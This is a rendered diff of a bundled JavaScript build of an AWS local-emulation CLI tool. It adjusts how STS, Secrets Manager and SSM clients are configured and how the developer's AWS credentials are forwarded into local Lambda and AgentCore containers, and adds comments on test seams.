if (repairMalformedOutputsForReadOnly(loaded.state)) getLogger().warn(malformedLocalOutputsWarning(stackName, loaded.region));
|
|
85576
85391
|
const outputs = {};
|
|
85577
85392
|
for (const [k, v] of Object.entries(loaded.state.outputs ?? {})) if (typeof v === "string") outputs[k] = v;
|
|
85578
85393
|
else if (typeof v === "number" || typeof v === "boolean") outputs[k] = String(v);
|
|
@@ -85588,7 +85403,8 @@ var S3LocalStateProvider = class {
|
|
|
85588
85403
|
statePrefix: this.opts.statePrefix,
|
|
85589
85404
|
...this.opts.stateBucket !== void 0 && { stateBucket: this.opts.stateBucket },
|
|
85590
85405
|
...this.opts.region !== void 0 && { region: this.opts.region },
|
|
85591
|
-
...this.opts.profile !== void 0 && { profile: this.opts.profile }
|
|
85406
|
+
...this.opts.profile !== void 0 && { profile: this.opts.profile },
|
|
85407
|
+
warnedMalformedProducers: this.warnedMalformedProducers
|
|
85592
85408
|
};
|
|
85593
85409
|
const built = await buildCrossStackResolver(consumerRegion, buildOpts);
|
|
85594
85410
|
if (!built) return void 0;
|
|
@@ -90116,6 +89932,9 @@ function readEnvOverridesFile$3(filePath) {
|
|
|
90116
89932
|
* Forward the developer's AWS credentials into the container so the
|
|
90117
89933
|
* handler's AWS SDK calls can authenticate. Used when --assume-role is
|
|
90118
89934
|
* NOT set for that Lambda — SAM-compatible default.
|
|
89935
|
+
*
|
|
89936
|
+
* Exported for unit-test isolation (`local-container-caller-identity.test.ts`),
|
|
89937
|
+
* which drives the `--role-arn` cases without booting the API server.
|
|
90119
89938
|
*/
|
|
90120
89939
|
function forwardAwsEnv$2(env) {
|
|
90121
89940
|
for (const key of [
|
|
@@ -90128,6 +89947,7 @@ function forwardAwsEnv$2(env) {
|
|
|
90128
89947
|
const value = process.env[key];
|
|
90129
89948
|
if (value !== void 0) env[key] = value;
|
|
90130
89949
|
}
|
|
89950
|
+
applyCallerIdentityCredentials(env);
|
|
90131
89951
|
}
|
|
90132
89952
|
/**
|
|
90133
89953
|
* Issue #654: resolve `--profile <p>` to a concrete credential set
|
|
@@ -90164,7 +89984,10 @@ function forwardAwsEnv$2(env) {
|
|
|
90164
89984
|
async function resolveProfileCredentials(profile) {
|
|
90165
89985
|
const { STSClient } = await import("@aws-sdk/client-sts");
|
|
90166
89986
|
const sts = new STSClient({
|
|
90167
|
-
...awsClientDefaults({
|
|
89987
|
+
...awsClientDefaults({
|
|
89988
|
+
profile,
|
|
89989
|
+
ignoreAssumedRole: true
|
|
89990
|
+
}),
|
|
90168
89991
|
profile
|
|
90169
89992
|
});
|
|
90170
89993
|
try {
|
|
@@ -90188,7 +90011,7 @@ async function resolveProfileCredentials(profile) {
|
|
|
90188
90011
|
async function assumeLambdaExecutionRole$1(roleArn, region) {
|
|
90189
90012
|
const { STSClient, AssumeRoleCommand } = await import("@aws-sdk/client-sts");
|
|
90190
90013
|
const sts = new STSClient({
|
|
90191
|
-
...awsClientDefaults(),
|
|
90014
|
+
...awsClientDefaults({ ignoreAssumedRole: true }),
|
|
90192
90015
|
...region && { region }
|
|
90193
90016
|
});
|
|
90194
90017
|
try {
|
|
@@ -90470,7 +90293,7 @@ async function resolvePseudoParametersForStartApi(stateRegion, options) {
|
|
|
90470
90293
|
try {
|
|
90471
90294
|
const { STSClient, GetCallerIdentityCommand } = await import("@aws-sdk/client-sts");
|
|
90472
90295
|
const sts = new STSClient({
|
|
90473
|
-
...awsClientDefaults(),
|
|
90296
|
+
...awsClientDefaults({ ignoreAssumedRole: true }),
|
|
90474
90297
|
...region && { region }
|
|
90475
90298
|
});
|
|
90476
90299
|
try {
|
|
@@ -90747,11 +90570,11 @@ async function resolveEcsSecrets(entries, options = {}) {
|
|
|
90747
90570
|
if (entries.length === 0) return [];
|
|
90748
90571
|
const logger = getLogger().child("ecs-secrets");
|
|
90749
90572
|
const secretsClient = options.secretsManagerClient ?? new SecretsManagerClient({
|
|
90750
|
-
...awsClientDefaults(),
|
|
90573
|
+
...awsClientDefaults({ ignoreAssumedRole: true }),
|
|
90751
90574
|
...options.region && { region: options.region }
|
|
90752
90575
|
});
|
|
90753
90576
|
const ssmClient = options.ssmClient ?? new SSMClient({
|
|
90754
|
-
...awsClientDefaults(),
|
|
90577
|
+
...awsClientDefaults({ ignoreAssumedRole: true }),
|
|
90755
90578
|
...options.region && { region: options.region }
|
|
90756
90579
|
});
|
|
90757
90580
|
const ownsSecretsClient = options.secretsManagerClient === void 0;
|
|
@@ -91567,7 +91390,7 @@ async function resolvePlaceholderAccount(arn, region) {
|
|
|
91567
91390
|
if (!arn.includes("${AWS::AccountId}")) return arn;
|
|
91568
91391
|
const { STSClient, GetCallerIdentityCommand } = await import("@aws-sdk/client-sts");
|
|
91569
91392
|
const sts = new STSClient({
|
|
91570
|
-
...awsClientDefaults(),
|
|
91393
|
+
...awsClientDefaults({ ignoreAssumedRole: true }),
|
|
91571
91394
|
...region && { region }
|
|
91572
91395
|
});
|
|
91573
91396
|
try {
|
|
@@ -91585,7 +91408,7 @@ async function resolvePlaceholderAccount(arn, region) {
|
|
|
91585
91408
|
async function assumeTaskRole(roleArn, region) {
|
|
91586
91409
|
const { STSClient, AssumeRoleCommand } = await import("@aws-sdk/client-sts");
|
|
91587
91410
|
const sts = new STSClient({
|
|
91588
|
-
...awsClientDefaults(),
|
|
91411
|
+
...awsClientDefaults({ ignoreAssumedRole: true }),
|
|
91589
91412
|
...region && { region }
|
|
91590
91413
|
});
|
|
91591
91414
|
try {
|
|
@@ -91727,7 +91550,7 @@ function pickCandidateStack(stackPattern, stacks) {
|
|
|
91727
91550
|
async function resolveCallerAccountId$1(region) {
|
|
91728
91551
|
const { STSClient, GetCallerIdentityCommand } = await import("@aws-sdk/client-sts");
|
|
91729
91552
|
const sts = new STSClient({
|
|
91730
|
-
...awsClientDefaults(),
|
|
91553
|
+
...awsClientDefaults({ ignoreAssumedRole: true }),
|
|
91731
91554
|
...region && { region }
|
|
91732
91555
|
});
|
|
91733
91556
|
try {
|
|
@@ -92603,6 +92426,17 @@ async function buildSigV4HeadersIfRequested(options, resolved, loaded, host, por
|
|
|
92603
92426
|
*
|
|
92604
92427
|
* Throws a {@link CdkdError} when none are available — `--sigv4` cannot
|
|
92605
92428
|
* proceed without credentials, unlike the unsigned path.
|
|
92429
|
+
*
|
|
92430
|
+
* EXPORTED as a test seam, like the pure helpers this file already exports. It
|
|
92431
|
+
* is the only `reads-caller` site the env-channel fence
|
|
92432
|
+
* (`tests/unit/local/local-surface-env-identity.test.ts`) knows about, and that
|
|
92433
|
+
* fence sees the SITE, not the BEHAVIOUR — it cannot tell
|
|
92434
|
+
* `callerEnvCredentials()` from a `process.env` read that happens to compile.
|
|
92435
|
+
* What this function decides is who the emulated agent sees as its INVOKER, so
|
|
92436
|
+
* the arm that matters is not reachable from any other entry point: the command
|
|
92437
|
+
* handler builds a container around it. Kept in ONE block with the precedence
|
|
92438
|
+
* contract above deliberately — as two, a reader or a tool taking only the
|
|
92439
|
+
* adjacent block gets the seam rationale and loses the precedence.
|
|
92606
92440
|
*/
|
|
92607
92441
|
async function resolveHostCredentialsForSigV4(options, resolved, loaded, region) {
|
|
92608
92442
|
const logger = getLogger();
|
|
@@ -92620,16 +92454,12 @@ async function resolveHostCredentialsForSigV4(options, resolved, loaded, region)
|
|
|
92620
92454
|
...creds.sessionToken && { sessionToken: creds.sessionToken }
|
|
92621
92455
|
};
|
|
92622
92456
|
}
|
|
92623
|
-
const
|
|
92624
|
-
|
|
92625
|
-
|
|
92626
|
-
|
|
92627
|
-
|
|
92628
|
-
|
|
92629
|
-
secretAccessKey,
|
|
92630
|
-
...sessionToken && { sessionToken }
|
|
92631
|
-
};
|
|
92632
|
-
}
|
|
92457
|
+
const shellCredentials = callerEnvCredentials();
|
|
92458
|
+
if (shellCredentials) return {
|
|
92459
|
+
accessKeyId: shellCredentials.accessKeyId,
|
|
92460
|
+
secretAccessKey: shellCredentials.secretAccessKey,
|
|
92461
|
+
...shellCredentials.sessionToken && { sessionToken: shellCredentials.sessionToken }
|
|
92462
|
+
};
|
|
92633
92463
|
throw new CdkdError("--sigv4: no AWS credentials available to sign the request. Set AWS_ACCESS_KEY_ID + AWS_SECRET_ACCESS_KEY, pass --profile <name>, or pass --assume-role <arn>.", "LOCAL_INVOKE_AGENTCORE_SIGV4_NO_CREDENTIALS");
|
|
92634
92464
|
}
|
|
92635
92465
|
/**
|
|
@@ -92887,7 +92717,10 @@ async function buildAgentCoreImageContext(candidate, stateProvider, options) {
|
|
|
92887
92717
|
async function resolveCallerAccountId(region, profile) {
|
|
92888
92718
|
const { STSClient, GetCallerIdentityCommand } = await import("@aws-sdk/client-sts");
|
|
92889
92719
|
const sts = new STSClient({
|
|
92890
|
-
...awsClientDefaults({
|
|
92720
|
+
...awsClientDefaults({
|
|
92721
|
+
profile,
|
|
92722
|
+
ignoreAssumedRole: true
|
|
92723
|
+
}),
|
|
92891
92724
|
...region && { region },
|
|
92892
92725
|
...profile && { profile }
|
|
92893
92726
|
});
|
|
@@ -93062,6 +92895,9 @@ function platformToArchitecture(platform) {
|
|
|
93062
92895
|
* open here after the same gap was closed in `local-invoke.ts` — made ONE command
|
|
93063
92896
|
* yield two different container regions for the same shell: `cn-north-1` with
|
|
93064
92897
|
* `--assume-role`, `CN-NORTH-1` without.
|
|
92898
|
+
*
|
|
92899
|
+
* Exported for unit-test isolation (`local-container-caller-identity.test.ts`),
|
|
92900
|
+
* which drives the `--role-arn` cases without the image + docker pipeline.
|
|
93065
92901
|
*/
|
|
93066
92902
|
function forwardAwsEnv$1(env) {
|
|
93067
92903
|
const passThrough = [
|
|
@@ -93077,11 +92913,12 @@ function forwardAwsEnv$1(env) {
|
|
|
93077
92913
|
if (value === void 0) continue;
|
|
93078
92914
|
env[key] = regionKeys.has(key) ? canonicalizeRegion(value) : value;
|
|
93079
92915
|
}
|
|
92916
|
+
applyCallerIdentityCredentials(env);
|
|
93080
92917
|
}
|
|
93081
92918
|
async function assumeAgentCoreExecutionRole(roleArn, region) {
|
|
93082
92919
|
const { STSClient, AssumeRoleCommand } = await import("@aws-sdk/client-sts");
|
|
93083
92920
|
const sts = new STSClient({
|
|
93084
|
-
...awsClientDefaults(),
|
|
92921
|
+
...awsClientDefaults({ ignoreAssumedRole: true }),
|
|
93085
92922
|
...region && { region }
|
|
93086
92923
|
});
|
|
93087
92924
|
try {
|
|
@@ -94054,7 +93891,7 @@ async function resolvePseudoParametersForInvoke(stackRegion, options) {
|
|
|
94054
93891
|
try {
|
|
94055
93892
|
const { STSClient, GetCallerIdentityCommand } = await import("@aws-sdk/client-sts");
|
|
94056
93893
|
const sts = new STSClient({
|
|
94057
|
-
...awsClientDefaults(),
|
|
93894
|
+
...awsClientDefaults({ ignoreAssumedRole: true }),
|
|
94058
93895
|
...region && { region }
|
|
94059
93896
|
});
|
|
94060
93897
|
try {
|
|
@@ -94200,7 +94037,7 @@ async function applyLambdaCredentialEnv(dockerEnv, args) {
|
|
|
94200
94037
|
async function assumeLambdaExecutionRole(roleArn, region) {
|
|
94201
94038
|
const { STSClient, AssumeRoleCommand } = await import("@aws-sdk/client-sts");
|
|
94202
94039
|
const sts = new STSClient({
|
|
94203
|
-
...awsClientDefaults(),
|
|
94040
|
+
...awsClientDefaults({ ignoreAssumedRole: true }),
|
|
94204
94041
|
...region && { region }
|
|
94205
94042
|
});
|
|
94206
94043
|
try {
|
|
@@ -94236,6 +94073,9 @@ async function assumeLambdaExecutionRole(roleArn, region) {
|
|
|
94236
94073
|
* COMMERCIAL partition). Folding only inside `applyLambdaCredentialEnv`'s
|
|
94237
94074
|
* assume-role arm made ONE command yield two different container regions for the
|
|
94238
94075
|
* same shell — `cn-north-1` with `--assume-role`, `CN-NORTH-1` without.
|
|
94076
|
+
*
|
|
94077
|
+
* Exported for unit-test isolation (`local-container-caller-identity.test.ts`),
|
|
94078
|
+
* which drives the `--role-arn` cases without the synth + docker pipeline.
|
|
94239
94079
|
*/
|
|
94240
94080
|
function forwardAwsEnv(env) {
|
|
94241
94081
|
const passThrough = [
|
|
@@ -94251,6 +94091,7 @@ function forwardAwsEnv(env) {
|
|
|
94251
94091
|
if (value === void 0) continue;
|
|
94252
94092
|
env[key] = regionKeys.has(key) ? canonicalizeRegion(value) : value;
|
|
94253
94093
|
}
|
|
94094
|
+
applyCallerIdentityCredentials(env);
|
|
94254
94095
|
}
|
|
94255
94096
|
/**
|
|
94256
94097
|
* Issue #657: overlay `--profile <p>`-resolved credentials onto the
|
|
@@ -94488,4 +94329,4 @@ function buildProgram() {
|
|
|
94488
94329
|
|
|
94489
94330
|
//#endregion
|
|
94490
94331
|
export { buildProgram };
|
|
94491
|
-
//# sourceMappingURL=program-
|
|
94332
|
+
//# sourceMappingURL=program-BOAEIjF5.js.map
|